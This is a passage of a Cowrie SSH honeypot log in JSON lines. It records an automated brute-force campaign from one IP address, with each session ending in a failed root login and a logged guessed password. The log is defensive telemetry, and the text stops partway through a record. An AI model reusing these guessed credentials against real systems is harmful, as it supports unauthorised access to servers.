{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:53.109124Z","src_ip":"60.165.124.241","session":"7a869c7beb34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52718,"dst_ip":"10.17.0.5","dst_port":22,"session":"0283e636b09d","protocol":"ssh","message":"New connection: 60.165.124.241:52718 (10.17.0.5:22) [session: 0283e636b09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:53.344003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:53.357928Z","src_ip":"60.165.124.241","session":"0283e636b09d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:53.601935Z","src_ip":"60.165.124.241","session":"0283e636b09d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:54.325450Z","src_ip":"60.165.124.241","session":"0283e636b09d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:55.573665Z","src_ip":"60.165.124.241","session":"0283e636b09d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55946,"dst_ip":"10.17.0.5","dst_port":22,"session":"3168bda2837a","protocol":"ssh","message":"New connection: 60.165.124.241:55946 (10.17.0.5:22) [session: 3168bda2837a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:55.825092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:55.830380Z","src_ip":"60.165.124.241","session":"3168bda2837a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:56.082736Z","src_ip":"60.165.124.241","session":"3168bda2837a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sungrow2022","message":"login attempt [root/sungrow2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:56.813143Z","src_ip":"60.165.124.241","session":"3168bda2837a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:58.055642Z","src_ip":"60.165.124.241","session":"3168bda2837a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58956,"dst_ip":"10.17.0.5","dst_port":22,"session":"f81c3b6a9349","protocol":"ssh","message":"New connection: 60.165.124.241:58956 (10.17.0.5:22) [session: f81c3b6a9349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:58.308567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:58.317590Z","src_ip":"60.165.124.241","session":"f81c3b6a9349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:58.581330Z","src_ip":"60.165.124.241","session":"f81c3b6a9349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx@123","message":"login attempt [root/qazwsx@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:15:59.359051Z","src_ip":"60.165.124.241","session":"f81c3b6a9349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:00.613204Z","src_ip":"60.165.124.241","session":"f81c3b6a9349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33488,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c78bd01dc3c","protocol":"ssh","message":"New connection: 60.165.124.241:33488 (10.17.0.5:22) [session: 9c78bd01dc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:00.855715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:00.860799Z","src_ip":"60.165.124.241","session":"9c78bd01dc3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:01.107558Z","src_ip":"60.165.124.241","session":"9c78bd01dc3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa147258@","message":"login attempt [root/Aa147258@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:01.853614Z","src_ip":"60.165.124.241","session":"9c78bd01dc3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:03.106612Z","src_ip":"60.165.124.241","session":"9c78bd01dc3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36736,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ee49f86938","protocol":"ssh","message":"New connection: 60.165.124.241:36736 (10.17.0.5:22) [session: d4ee49f86938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:03.330199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:03.335496Z","src_ip":"60.165.124.241","session":"d4ee49f86938","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:03.573626Z","src_ip":"60.165.124.241","session":"d4ee49f86938","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112233!","message":"login attempt [root/Aa112233!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:04.293236Z","src_ip":"60.165.124.241","session":"d4ee49f86938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:05.533330Z","src_ip":"60.165.124.241","session":"d4ee49f86938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39532,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe0e7ff8e8d5","protocol":"ssh","message":"New connection: 60.165.124.241:39532 (10.17.0.5:22) [session: fe0e7ff8e8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:05.766600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:05.771815Z","src_ip":"60.165.124.241","session":"fe0e7ff8e8d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:06.008696Z","src_ip":"60.165.124.241","session":"fe0e7ff8e8d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xf123456.","message":"login attempt [root/xf123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:06.727072Z","src_ip":"60.165.124.241","session":"fe0e7ff8e8d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:07.966902Z","src_ip":"60.165.124.241","session":"fe0e7ff8e8d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42810,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7d1cb09d2e7","protocol":"ssh","message":"New connection: 60.165.124.241:42810 (10.17.0.5:22) [session: d7d1cb09d2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:08.199251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:08.209743Z","src_ip":"60.165.124.241","session":"d7d1cb09d2e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:08.446427Z","src_ip":"60.165.124.241","session":"d7d1cb09d2e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mdsd2008","message":"login attempt [root/mdsd2008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:09.162272Z","src_ip":"60.165.124.241","session":"d7d1cb09d2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:10.416354Z","src_ip":"60.165.124.241","session":"d7d1cb09d2e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45672,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c69b4b408c6","protocol":"ssh","message":"New connection: 60.165.124.241:45672 (10.17.0.5:22) [session: 3c69b4b408c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:10.662681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:10.668425Z","src_ip":"60.165.124.241","session":"3c69b4b408c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:10.906618Z","src_ip":"60.165.124.241","session":"3c69b4b408c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"none","message":"login attempt [root/none] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:11.640509Z","src_ip":"60.165.124.241","session":"3c69b4b408c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:12.891512Z","src_ip":"60.165.124.241","session":"3c69b4b408c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48492,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9cadace0049","protocol":"ssh","message":"New connection: 60.165.124.241:48492 (10.17.0.5:22) [session: b9cadace0049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:13.142844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:13.152055Z","src_ip":"60.165.124.241","session":"b9cadace0049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","e